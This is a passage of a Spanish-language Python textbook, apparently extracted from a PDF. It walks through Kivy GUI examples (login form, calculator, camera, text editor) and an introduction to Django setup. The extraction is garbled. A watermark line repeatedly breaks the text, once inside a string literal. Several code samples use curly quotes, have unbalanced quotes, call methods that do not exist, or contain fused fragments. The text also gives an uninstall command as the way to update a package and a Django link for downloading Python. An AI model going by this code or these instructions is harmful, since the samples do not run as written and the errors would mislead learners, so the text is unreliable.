texto_largo = ("""Python es un lenguaje de programación de propósito general\n"""
"""creado por Guido Van Rosum en los 90 trabajos en Google \ny en la actualidad
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
en Dropbox"""
"""su nombre proviene del cómic Monty Python.\n"""
"""Python está escrito en el lenguaje C \n"""
"""por lo que se puede extender a través de su api en C o C++\n"""
"""y escribir nuevos tipos de datos, funciones, etc.\n"""
"""En la actualidad hay dos vertientes la versión 2.x y 3.x\n"""
"""al final llegara el momento que se integraran estas dos versiones,\n"""
"""es recomendable utilizar la última versión estable 3.x""")
class LabelTextSizeTest(App):
    def build(self):
        z = Label(
            text=texto_largo,
            text_size=(600, None),
            line_height=2.5
        )
        return z
if __name__ == '__main__':
    LabelTextSizeTest().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

A continuación, mostramos una Aplicación muestre etiquetas (mipmapped label).

TextoLargo.py

```
import kivy
kivy.require('1.10.0')
from kivy.app import App
from kivy.uix.scatter import ScatterPlane
from kivy.uix.label import Label
class LabelMipmapTest(App):
    def build(self):
        s = ScatterPlane(scale=.5)
        l1 = Label(text='Python', font_size=200, pos=(750, 500), mipmap=True)
        l2 = Label(text='Kivy', font_size=200, pos=(750, 728))
        s.add_widget(l1)
        s.add_widget(l2)
        return s

if __name__ == '__main__':
    LabelMipmapTest().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

NOTAS

Mipmapping es una técnica OpenGL para mejorar la representación de texturas en superficies pequeñas. Sin mipmapping, puede ver pixelación cuando renderiza en superficies pequeñas.

Para que esto suceda, debe especificar mipmap = True cuando crea una textura. Algunos widgets ya le dan la capacidad de crear texturas de mipmapped, como el Label y Image.

A continuación, mostramos una aplicación que muestre cómo cambiar el estilo de texto:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

EstiloTexo.py

```
import kivy
kivy.require('1.10.0')
from kivy.app import App
from kivy.lang import Builder
texto_estilo = Builder.load_string('''
Label:
    text:
        ('[color=00563f]Kivy[/color]\\n'
        '[b]biblioteca de Python[/b]\\n'
        '[color=0098c3]Open Source[/color]\\n'
        '[color=088800]para el desarrollo[/color]\\n'
        '[color=8e0d0d]de aplicaciones multitouch[/color]\\n')
    markup: True
    font_size: '44pt'
    halign: 'center'
    valign: 'center'
''')
class LabelEstilo(App):
    def build(self):
        return texto_estilo
if __name__ == '__main__':
    LabelEstilo().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

A continuación explicaremos el código línea a línea:

Indicamos la versión de Kivy.

```
import kivy
kivy.require('1.10.0')
```

Importamos la clase base de tu App desde app.

```
from kivy.app import App
```

Importamos esta clase para decirle a Kivy que cargue directamente una cadena o un archivo.

```
from kivy.lang import Builder
```

Definiendo el texto con estilo a través de marcadores como:

[b][/b]	**Negrita**
[i][/i]	**Cursiva**
[u][/u]	**Subrayado**
[s][/s]	**Tachado**
[font=<str>][/font]	**Fuentes**
[size=<integer>][/size]	**Tamaño**
[color=#<color>][/color]	**Color**
[ref=<str>][/ref]	**Zona Interactiva**
[anchor=<str>]	**ancla**
[sup][/sup]	**superíndice**

```
texto_estilo = Builder.load_string('''
Label:
    text:
        ('[color=00563f]Kivy[/color]\\n'
        '[b]biblioteca de Python[/b]\\n'
        '[color=0098c3]Open Source[/color]\\n'
        '[color=088800]para el desarrollo[/color]\\n'
        '[color=8e0d0d]de aplicaciones multitouch[/color]\\n')
    markup: True
    font_size: '44pt'
    halign: 'center'
    valign: 'center'
''')
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Aquí es donde estamos definiendo la clase base de nuestra aplicación Kivy. Solo deberías necesitar cambiar el nombre de su aplicación LabelEstilo en esta línea.

```
class LabelEstilo(App):
```

Función que inicializa y retorna el Widget.

```
    def build(self):
        return texto_estilo
```

La clase LabelEstilo se inicializa y se llama a su método run (). Esto inicializa y comienza nuestro Kivy.

```
if __name__ == "__main__":
    LabelEstilo().run()
```

1.10.1 Aplicación Login

A continuación mostramos una aplicación que permita ingresar las credenciales: usuario y contraseña:

Login.py

```
from kivy.app import App
from kivy.uix.gridlayout import GridLayout
from kivy.uix.label import Label
from kivy.uix.textinput import TextInput
class LoginScreen(GridLayout):
    def __init__(self, **kwargs):
        super(LoginScreen, self).__init__(**kwargs)
        self.cols = 2
        self.add_widget(Label(text='Nombre de Usuario'))
        self.usuario = TextInput(multiline=False)
        self.add_widget(self.usuario)
        self.add_widget(Label(text='password'))
        self.password = TextInput(password=True, multiline=False)
        self.add_widget(self.password)
class MyApp(App):
    def build(self):
        return LoginScreen()
if __name__ == '__main__':
    MyApp().run()
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Al ejecutarse:

Importamos la clase base de tu App desde app.

```
from kivy.app import App
```

Importamos Gridlayout.

```
from kivy.uix.gridlayout import GridLayout
```

El uix.label es la sección que contiene los elementos de la interfaz de usuario, como diseños y widgets que se desea mostrar.

```
from kivy.uix.label import Label
```

El uix. textinput es la sección que contiene los componentes de la interfaz de usuario, como por ejemplo un cuadro de texto en el cual el usuario puede introducir datos.

```
from kivy.uix.textinput import TextInput
```

Esta clase se usa como base para nuestro root Widget (LoginScreen).

```
class LoginScreen(GridLayout):
```

En la siguiente sobrecargamos el método __init __ () para agregar widgets y definir su comportamiento.

```
    def __init__(self, **kwargs):
        super(LoginScreen, self).__init__(**kwargs)
```

Número de columnas.

```
        self.cols = 2
```

Etiqueta Nombre de Usuario.

```
        self.add_widget(Label(text='Nombre de Usuario'))
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Caja de texto para ingreso de nombre usuario.

```
        self.usuario = TextInput(multiline=False)
        self.add_widget(self.usuario)
```

Etiqueta password.

```
       self.add_widget(Label(text='password'))
```

Caja de Texto para ingreso del password.

```
        self.password = TextInput(password=True, multiline=False)
        self.add_widget(self.password)
```

Aquí es donde estamos definiendo la clase base de nuestra aplicación Kivy. Solo deberías necesitar cambiar el nombre de su aplicación MyApp en esta línea.

```
class MyApp(App):
    def build(self):
```

Función que inicializa y retorna el Widget.

```
        return LoginScreen()
```

La clase MyApp se inicializa y se llama a su método run (). Esto inicializa y comienza nuestro Kivy.

```
if __name__ == '__main__':
    MyApp().run()
```

Ahora añadiremos funcionalidad al login:

Login.py

```
import kivy
kivy.require('1.10.0')
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.floatlayout import FloatLayout
from kivy.uix.popup import Popup
Builder.load_string("""
<CustomPopup1>:
    size_hint: .3, .3
    auto_dismiss: False
    title: 'Mensaje'
    Button:
        text: 'Bienvenido Al Sistema'
        on_press: root.dismiss()
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
<CustomPopup2>:
    size_hint: .3, .3
    auto_dismiss: False
    title: 'Mensaje'
    Button:
        text: 'Credenciales Incorrectos'
        on_press: root.dismiss()
<Login>:
    BoxLayout
        id: login_layout
        orientation: 'vertical'
        padding: [10,50,10,50]
        spacing: 50
        Label:
            text: 'Acceso al Sistema'
            font_size: 40
        BoxLayout:
            orientation: 'vertical'
            Label:
                text: 'Usuario'
                font_size: 22
                halign: 'left'
                text_size: root.width-30, 30
            TextInput:
                id: usuario
                multiline:False
                font_size: 22
        BoxLayout:
            orientation: 'vertical'
            Label:
                text: 'Password'
                halign: 'left'
                font_size: 22
                text_size: root.width-30, 30
            TextInput:
                id: password
                multiline:False
                password:True
                font_size: 22
        Button:
            text: 'Acceder'
            font_size: 22
            on_press: root.loguear(usuario.text, password.text)
""")
class CustomPopup1(Popup):
    pass
class CustomPopup2(Popup):
    pass
class Login(FloatLayout):
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
    def show_popup1(self, b):
        p = CustomPopup1()
        p.open()
    def show_popup2(self, b):
        p = CustomPopup2()
        p.open()
    def loguear(self, loginText, passwordText):
        app = App.get_running_app()
        app.username = loginText
        app.password = passwordText
        if (app.username==”demo” and app.password==”12345678”):
            p = CustomPopup1()
            p.open()
        else:
            p = CustomPopup2()
            p.open()
class MyApp(App):
    def build(self):
        return Login()
if __name__ == ‘__main__’:
    MyApp().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.11 MI PRIMERA CALCULADORA

Calculadora.py

```
from kivy.uix.gridlayout import GridLayout
from kivy.app import App
from kivy.lang import Builder
Builder.load_string(‘’’
<CustButton@Button>:
    font_size: 25
    color: 1, 1, 1, 1
<Demo1>:
    numero1: numero1
    numero2: numero2
    resultado : resultado
    cols: 1
    BoxLayout:
        orientation: ‘vertical’
        Label:
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
            id: l1
            text: 'Calculadora Basica'
            font_size: 25
        TextInput:
            id: numero1
            multiline:False
            font_size: 25
            text: '20'
        TextInput:
            id: numero2
            multiline:False
            font_size: 25
            text: '10'
        Label:
            id: resultado
            font_size: 25
    BoxLayout:
        spacing: 6
        CustButton:
            size_hint_x: 0.4
            pos_hint: {'x': 0}
            text: '+'
            on_press: root.sumando(*args)
        CustButton:
            size_hint_x: 0.4
            pos_hint: {'y': 0}
            text: '-'
            on_press: root.restando(*args)
    BoxLayout:
        spacing: 6
        CustButton:
            size_hint_x: 0.4
            pos_hint: {'x': 0}
            text: '*'
            on_press: root.multiplicando(*args)
        CustButton:
            size_hint_x: 0.4
            pos_hint: {'y': 0}
            text: '/'
            on_press: root.dividiendo(*args)
'''')
class Demo1(GridLayout):
    def sumando(self, instance):
        self.resultado.text = str(int(self.numero1.text) + int
(self.numero2.text))
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
    def restando(self, instance):
        self.resultado.text = str(int(self.numero1.text) - int
(self.numero2.text))
    def multiplicando(self, instance):
        self.resultado.text = str(int(self.numero1.text) * int
(self.numero2.text))
    def dividiendo(self, instance):
        try:
            self.resultado.text = str(int(self.numero1.text) / int
(self.numero2.text))
        except ZeroDivisionError:
            self.resultado.text ='division entre zero'
    def reset(self, instance):
        self.numero1.text=""
        self.numero2.text=""
        self.resultado.text=""
class DemoApp(App):
    def build(self):
        return Demo1()
if __name__ == '__main__':
    DemoApp().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.12 USO DE CÁMARA

Vamos a desarrollar una aplicación que demuestre el uso de la cámara.

Camara.kv

```
<Caja>:
    orientation: 'vertical'
    Camera:
        id: camera
        resolution: 600, 400
    BoxLayout:
        orientation: 'horizontal'
        size_hint_y: None
        height: '48dp'
        Button:
            text: 'Iniciar'
            on_release: camera.play = True
        Button:
            text: 'Capturar'
            on_press: root.capturar()
        Button:
            text: 'Parar'
            on_release: camera.play = False
        Button:
            text: 'Cerrar'
            on_release:root.stop()
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Camara.py

```
from kivy.app import App
from kivy.uix.boxlayout import BoxLayout
import time
class Camara(BoxLayout):
    def capture(self):
        camera = self.ids['camera']
        file_name = "capturado"+time.strftime("%Y%m%d_%H%M%S")
        camera.export_to_png(file_name+".png")
class Plantilla(App):
    def build(self):
        return Camara()
if __name__ == '__main__':
    Plantilla().run()
```

A continuación explicaremos el código línea a línea:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Plantilla.kv

Apreciamos el siguiente código:

```
<Camara>:
    orientation: ‘vertical’
    Camera:
        id: camera
        resolution: (640, 480)
        play: False
    BoxLayout:
        orientation: ‘horizontal’
        size_hint_y: None
        height: ‘48dp’
        Button:
            text: ‘Iniciar’
            on_press: camera.play = not camera.play
            height: ‘20dp’
        Button:
            text: ‘Capturar’
            on_press: root.capture()
        Button:
            text: ‘Parar’
            on_release:camera.play = False
        Button:
            text: ‘Cerrar’
            on_release:root.stop()
```

A continuación realizamos la explicación del código anterior:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

camara.kv

Apreciamos el siguiente código:

```
from kivy.app import App
from kivy.uix.boxlayout import BoxLayout
import time
class Camara(BoxLayout):
    def capture(self):
        camera = self.ids['camera']
        file_name = "capturado"+time.strftime("%Y%m%d_%H%M%S")
        camera.export_to_png(file_name+".png")
class Plantilla(App):
    def build(self):
        return Camara()
if __name__ == '__main__':
    Plantilla().run()
```

A continuación realizamos la explicación del código anterior:

Manejo de la camara.

```
        camera = self.ids['camera']
```

Nombre del archivo.

```
        file_name = "capturado"+time.strftime("%Y%m%d_%H%M%S")
```

Exportar a un archivo PNG.

```
        camera.export_to_png(file_name+".png")
```

1.13 USO DE RECYCLEVIEW

RecycleView proporciona un modelo flexible para ver secciones seleccionadas de grandes conjuntos de datos. Su objetivo es evitar la disminución del rendimiento que puede ocurrir al cargar grandes cantidades de datos.

La vista se genera mediante el procesamiento de data, esencialmente una lista. Su diseño se basa en el patrón MVC (Model-view-controller).

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

- Modelo: El modelo está formado por datausted pasa a través de una lista de dicts.
- Vista: La vista se divide en el diseño y las vistas, y se implementa mediante adaters.
- Controlador: El controlador determina la interacción lógica y es implementado por RecycleViewBehavior.

recycleview1.kv

```
<Row@BoxLayout>:
    canvas.before:
        Color:
            rgba: 0.5, 0.5, 0.5, 1
        Rectangle:
            size: self.size
            pos: self.pos
    value: ''
    Label:
        text: root.value
<Test>:
    canvas:
        Color:
            rgba: 0.3, 0.3, 0.3, 1
        Rectangle:
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
            size: self.size
            pos: self.pos
    rv: rv
    orientation: 'vertical'
    GridLayout:
        cols: 3
        rows: 2
        size_hint_y: None
        height: dp(108)
        padding: dp(8)
        spacing: dp(16)
        Button:
            text: 'LLenar Lista'
            on_press: root.llenar()
        Button:
            text: 'Ordenar Lista'
            on_press: root.ordenar()
        Button:
            text: 'Limpiar Lista'
            on_press: root.limpiar()
        BoxLayout:
            spacing: dp(8)
            Button:
                text: 'Nuevo Elemento'
                on_press: root.insertar(new_item_input.text)
            TextInput:
                id: new_item_input
                size_hint_x: 0.6
                hint_text: 'valor'
                padding: dp(10), dp(10), 0, 0
        BoxLayout:
            spacing: dp(8)
            Button:
                text: 'Actu.Primer Elem.'
                on_press: root.actualizar(update_item_input.text)
            TextInput:
                id: update_item_input
                size_hint_x: 0.8
                hint_text: 'Nuevo Valor'
                padding: dp(10), dp(10), 0, 0
        Button:
            text: 'Remover Primer Elemento'
            on_press: root.remover()
    RecycleView:
        id: rv
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
        scroll_type: ['bars', 'content']
        scroll_wheel_distance: dp(114)
        bar_width: dp(10)
        viewclass: 'Row'
        RecycleBoxLayout:
            default_size: None, dp(56)
            default_size_hint: 1, None
            size_hint_y: None
            height: self.minimum_height
            orientation: 'vertical'
            spacing: dp(2)
```

recycleview1.py

```
from random import sample
from string import ascii_lowercase
from kivy.app import App
from kivy.uix.boxlayout import BoxLayout
class Test(BoxLayout):
    def llenar(self):
        self.rv.data = [{'value': ''.join(sample(ascii_lowercase, 6))}
                        for x in range(50)]
    def ordenar(self):
        self.rv.data = sorted(self.rv.data, key=lambda x: x['value'])
    def limpiar(self):
        self.rv.data = [ ]
    def insertar(self, value):
        self.rv.data.insert(0, {'value': value or 'default value'})
    def actualizar(self, value):
        if self.rv.data:
            self.rv.data[0]['value'] = value or 'default new value'
            self.rv.refresh_from_data()
    def remover(self):
        if self.rv.data:
            self.rv.data.pop(0)
class recycleview1(App):
    def build(self):
        return Test()
if __name__ == '__main__':
    recycleview1().run()
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

A continuación realizamos la explicación del código anterior:

Importamos los módulos a utilizar.

```
from random import sample
from string import ascii_lowercase
from kivy.app import App
from kivy.uix.boxlayout import BoxLayout
```

```
class Test(BoxLayout):
```

Función para llenar 50 elementos en el RecycleView.

```
    def llenar(self):
        self.rv.data = [{'value': ''.join(sample(ascii_lowercase, 6))}
                        for x in range(50)]
```

Función para ordenar el RecycleView.

```
    def ordenar(self):
        self.rv.data = sorted(self.rv.data, key=lambda x: x['value'])
```

Función para limpiar el RecycleView.

```
    def limpiar(self):
        self.rv.data = [ ]
```

Función para insertar un elemento en el RecycleView.

```
    def insertar(self, value):
        self.rv.data.insert(0, {'value': value or 'default value'})
```

Función para actualizar un elemento en el RecycleView.

```
    def actualizar(self, value):
        if self.rv.data:
            self.rv.data[0]['value'] = value or 'default new value'
            self.rv.refresh_from_data()
```

Función para remover un elemento en el RecycleView.

```
    def remover(self):
        if self.rv.data:
            self.rv.data.pop(0)
class recycleview1(App):
    def build(self):
        return Test()
if __name__ == '__main__':
    recycleview1().run()
```

1.14 MI PRIMER EDITOR DE TEXTO

Vamos a desarrollar un editor en el cual separaremos el diseño de la lógica de negocio:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Plantilla.kv

```
Root:
    text_input: text_input
    BoxLayout:
        orientation: 'vertical'
        BoxLayout:
            size_hint_y: None
            height: 30
            Button:
                text: 'Cargar Fichero'
                on_release: root.cargar()
            Button:
                text: 'Guardar Fichero'
                on_release: root.guardar()
        BoxLayout:
            TextInput:
                id: text_input
                text: ''
            RstDocument:
                text: text_input.text
                show_errors: True
<LoadDialog>:
    BoxLayout:
        size: root.size
        pos: root.pos
        orientation: "vertical"
        FileChooserListView:
            id: filechooser
        BoxLayout:
            size_hint_y: None
            height: 30
            Button:
                text: "Cancelar"
                on_release: root.cancel()
            Button:
                text: "Cargar"
                on_release: root.cargarFichero(filechooser.path,
filechooser.selection)
<SaveDialog>:
    text_input: text_input
    BoxLayout:
        size: root.size
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
        pos: root.pos
        orientation: “vertical”
        FileChooserListView:
            id: filechooser
            on_selection: text_input.text = self.selection and self.selection
[0] or ‘’
        TextInput:
            id: text_input
            size_hint_y: None
            height: 30
            multiline: False
        BoxLayout:
            size_hint_y: None
            height: 30
            Button:
                text: “Cancelar”
                on_release: root.cancel()
            Button:
                text: “Guardar”
                on_release: root.guardarFichero(filechooser.path,
text_input.text)
```

EditorTexto.py

```
from kivy.app import App
from kivy.uix.floatlayout import FloatLayout
from kivy.factory import Factory
from kivy.properties import ObjectProperty
from kivy.uix.popup import Popup
import os
class LoadDialog(FloatLayout):
    load = ObjectProperty(None)
    cancel = ObjectProperty(None)
class SaveDialog(FloatLayout):
    save = ObjectProperty(None)
    text_input = ObjectProperty(None)
    cancel = ObjectProperty(None)
class Root(FloatLayout):
    loadfile = ObjectProperty(None)
    savefile = ObjectProperty(None)
    text_input = ObjectProperty(None)
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
    def dismiss_popup(self):
        self._popup.dismiss()
    def show_load(self):
        content = LoadDialog(load=self.load, cancel=self.dismiss_popup)
        self._popup = Popup(title="Load file", content=content,
                            size_hint=(0.9, 0.9))
        self._popup.open()
    def show_save(self):
        content = SaveDialog(save=self.save, cancel=self.dismiss_popup)
        self._popup = Popup(title="Save file", content=content,
                            size_hint=(0.9, 0.9))
        self._popup.open()
    def load(self, path, filename):
        with open(os.path.join(path, filename[0])) as stream:
            self.text_input.text = stream.read()
        self.dismiss_popup()
    def save(self, path, filename):
        with open(os.path.join(path, filename), 'w') as stream:
            stream.write(self.text_input.text)
        self.dismiss_popup()
class Plantilla(App):
    pass
Factory.register('Root', cls=Root)
Factory.register('LoadDialog', cls=LoadDialog)
Factory.register('SaveDialog', cls=SaveDialog)
if __name__ == '__main__':
    Plantilla().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

A continuación explicaremos el código línea a línea:

Plantilla.kv

Hacemos referencia al widget raíz:

```
Root:text_input: text__y: Noneshow_errors: True
```

Apreciamos el siguiente código:

```
Root:
    text_input: text_input
    BoxLayout:
        orientation: 'vertical'
        BoxLayout:
            size_hint_y: None
            height: 60
            Button:
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
                text: 'Cargar Fichero'
                on_release: root.mostrarCarga()
            Button:
                text: 'Guardar Fichero'
                on_release: root.mostrarGuardar()
        BoxLayout:
            TextInput:
                id: text_input
                text: 'Aqui Ser Cargaran Los Archivos'
            RstDocument:
                text: text_input.text
                show_errors: True __y: Noneshow_errors: True
```

A continuación realizamos la explicación del código anterior:

Ahora explicaremos las siguientes líneas:

```
Button:
    text: 'Cargar Fichero'
    on_release: root.cargar()
Button:
    text: 'Guardar Fichero'
    on_release: root.guardar()
```

on_release: root.cargar() .- Se ejecuta la función cargar cuando se presiona el button.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

on_release: root.guardar().- Se ejecuta la función cargar cuando se presiona el button.

Apreciamos el siguiente código:

```
<CargarDialogo>:
    BoxLayout:
        size: root.size
        pos: root.pos
        orientation: “vertical”
        FileChooserListView:
            id: filechooser
        BoxLayout:
            size_hint_y: None
            height: 30
            Button:
                text: “Cancelar”
                on_release: root.cancel()
            Button:
                text: “Cargar”
                on_release: root.cargar(filechooser.path, filechooser.selection):
```

A continuación realizamos la explicación del código anterior:

```
            FileChooserListView:
                        id: filechooser
```

El módulo FileChooser proporciona varias clases para describir, visualizar y examinar archivos.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Ahora explicaremos las siguientes líneas:

```
Button:
    text: “Cancelar”
    on_release: root.cancel()
Button:
    text: “Cargar”
    on_release: root.cargar(filechooser.path, filechooser.selection)
    on_release: root.cancel()
    on_release: root.cargar(filechooser.path, filechooser.selection)
```

on_release: root.cargar() .- Se ejecuta la función cargar cuando se presiona el button.

on_release: root.guardar().- Se ejecuta la función cargar cuando se presiona el button.

1.15 ACCORDION

El widget Accordion es una forma de menú donde las opciones se apilan vertical u horizontalmente y el elemento en foco (cuando se toca) se abre para mostrar su contenido.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

El Accordion debe contener uno o muchos AccordionItem, cada uno de los cuales debe contener widget.

A continuación se muestra un ejemplo de su utilización:

Acordeon.py

```
from kivy.uix.accordion import Accordion, AccordionItem
from kivy.uix.label import Label
from kivy.app import App
class AccordionApp(App):
    def build(self):
        root = Accordion()
        for x in range(5):
            item = AccordionItem(title='Item %d' % x)
            item.add_widget(Label(text='Contenido del Item :'+str(x)+'\n'))
            root.add_widget(item)
        return root
if __name__ == '__main__':
    AccordionApp().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

1.16 VIDEOS (VIDEO PLAYER)

El widget del reproductor de video se puede usar para reproducir video y dejar que el usuario controle la reproducción/pausa, el volumen y la posición. El widget no se puede personalizar mucho debido al complejo ensamblaje de numerosos widgets básicos.

A continuación, se muestre un ejemplo de su utilización:

Video.py

```
from sys import argv
from os.path import dirname, join
from kivy.app import App
from kivy.uix.videoplayer import VideoPlayer
class Video(App):
    def build(self):
        if len(argv) > 1:
            filename = argv[1]
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

```
        else:
            curdir = dirname(__file__)
            filename = join(curdir, 'kivy.mp4')
        return VideoPlayer(source=filename, state='play')
if __name__ == '__main__':
    Video().run()
```

Al ejecutarse:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2

DESARROLLO WEB. FRAMEWORK DJANGO

2.1 DJANGO

2.1.1 Historia de Django

En 2005 los desarrolladores web de Lawrence Journal World crearon Django para ayudar a los periodistas a poner historias en la Web rápidamente. Ahora, se utiliza en una amplia variedad de sitios web y aplicaciones, como Instagram, Pinterest y el Washington Times.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.2 Conociendo Django

Django es un framework web Python de alto nivel que fomenta el rápido desarrollo y diseño limpio y pragmático, que se encarga de gran parte del desarrollo Web. Es de código libre y abierto.

A continuación, describiremos algunas de sus características:

- Rápido - Django fue diseñado para ayudar a los desarrolladores a construir aplicaciones con mucha rapidez

- Fully loaded - Django se encarga de la autenticación de usuarios, administración de contenidos, mapas de sitio, RSS y otras tareas

- Seguro - Django toma en serio la seguridad y ayuda a los desarrolladores a evitar muchos errores comunes de seguridad, tales como la inyección SQL, cross-site scripting, petición en sitios cruzados falsificación y el clickjacking

- Escalable - Algunos de los sitios más concurridos usan Django para escalar con rapidez y flexibilidad

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

- Versátil - Organizaciones han usado Django para construir sistemas de gestión de contenidos a las redes sociales y/o a las plataformas de computación científica

2.1.3 Principio DRY

El principio No te repitas (en inglés Don't Repeat Yourself o DRY, también conocido como Una vez y solo una) es una filosofía de definición de procesos que promueve la reducción de la duplicación especialmente en computación. Según este principio toda "pieza de información" nunca debería ser duplicada debido a que la duplicación incrementa la dificultad en los cambios y evolución posterior, puede perjudicar la claridad y crear un espacio para posibles inconsistencias. Los términos "pieza de información" son usados en un sentido amplio, abarcando:

- datos almacenados en una base de datos;
- código fuente de un programa de software;
- información textual o documentación.

Cuando el principio DRY se aplica de forma eficiente los cambios en cualquier parte del proceso requieren cambios en un único lugar. Por el contrario, si algunas partes del proceso están repetidas por varios sitios, los cambios pueden provocar fallos con mayor facilidad si todos los sitios en los que aparece no se encuentran sincronizados.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.4 Quiénes usan Django

Son muchos los sitios web que usan Django, entre los que tenemos:

Mercedes-Benz

The Washington Post

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Orange.ch

Disqus

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Instagram

National Geographic

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Pinterest

The New York Times

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Nasa Science

Addons.Mozilla.org

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.5 Patrón Arquitectónico

Django utiliza una variante del modelo MVC llamado MTV:

- M (Modelo), la capa de acceso a la base de datos. Se encarga de la manipulación de la base de datos.
- T (Template - Plantilla), Recibe la información que recibe de la vista y lo muestra en el navegador.
- V (View - Vista), decide qué información se mostrará y en qué templete se verá la información.

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.6 Buenas Prácticas y Convenciones (PEP8)

Entre las convenciones recomendables más importantes tenemos:

1. Usar cuatro espacios por cada Nivel de Identación.
2. Separar la definición de funciones y clases con 2 líneas en blanco.
3. La definición de los métodos separados por una línea en blanco.
4. Nunca mezcles tabulaciones y espacios, El método de indentación más popular en Python es con espacios. El segundo más popular es con tabulaciones, sin mezclar unos con otros.
5. Limita todas las líneas a un máximo de 79 caracteres.
6. Nunca debes usar import *.
7. Utilizar un mismo motor de base de datos para ambientes de desarrollo local y producción.

2.1.7 Instalar Django

Al ser un framework web Python, Django requiere Python. Python incluye una base de datos ligero llamado SQLite por lo que no tendrá que configurar una base de datos por el momento.

Puede obtener la última versión de Python en: *https://www.djangoproject.com/download/*

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.8 Sobre el uso de PIP

Easy Install era una antigua herramienta de Python ahora reemplazada por Pip es que sirve para instalar o administrar paquetes de Python.

Si queremos instalar un paquete específico:

```
Pip install nombre_paquete
```

Si queremos desinstalar un paquete específico:

```
Pip uninstall nombre_paquete
```

Si queremos actualizar un paquete específico:

```
Pip uninstall nombre_paquete
```

2.1.9 Instalar Django

Para la instalación de Django deberá ejecutar los siguientes comandos:

```
pip install -U django==1.9.10
pip install pillow
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.10 Entornos virtuales

2.1.11 Introducción

Alguna vez se encontrará con el dilema de poseer diversas aplicaciones en diferentes versiones, para ello la solución es crear entornos virtuales.

Un virtualenv o entorno virtual de Python es un ambiente creado con el objetivo de aislar recursos como librerías y entorno de ejecución, del sistema principal o de otros entornos virtuales. Lo anterior significa que, en el mismo sistema, máquina o computadora, es posible tener instaladas múltiples versiones de una misma librería sin crear ningún tipo de conflicto.

2.1.12 Creación de Entorno Virtual

Utilizando la herramienta virtualenv. De este modo, PyCharm se integra perfectamente con virtualenv y permite configurar entornos virtuales directamente en el IDE PyCharm hace posible crear un entorno virtual.

Configure - Settings:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

Seleccione Project Interprete - ruedita:

Selecciones Add Local…:

Selecciones Crear Virtual Dev:

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

2.1.13 Verificando la versión Django

2.1.14 Creando el proyecto

Lo primero que debemos hacer es crear un nuevo proyecto, esto significa que podrás correr algunos scripts proporcionados por Django que crearán la estructura del proyecto.

En la consola debes ejecutar:

```
django-admin startproject proyecto1
```

Libros de Estadística-Ciencia de Datos|Statistics-Data Science Books (PDF)

NOTAS

Esto nos creara una carpeta en el directorio actual con una serie de archivos especificos, es recomendable evitar el uso de nombre con django, test.

2.1.15 Estructura del proyecto

- manage.py .- Permite interactuar y controlar nuestro proyecto
- __init__.py .- Indica a Python que considere una carpeta como un módulo o también llamado paquete
- settings.py .- Contiene las configuraciones de base de datos, archivos estático y zona de horario, etc
- urls.py .- Contiene las URLs principales del proyecto
- wsgi.py .- Permite conectar nuestro proyecto con un Servidor Web al momento de hacer deploy

2.1.16 Explicación del settings.py

Es el encargado de controlar toda la configuración de un proyecto a continuación describiremos algunas de la configuración por defecto:

```
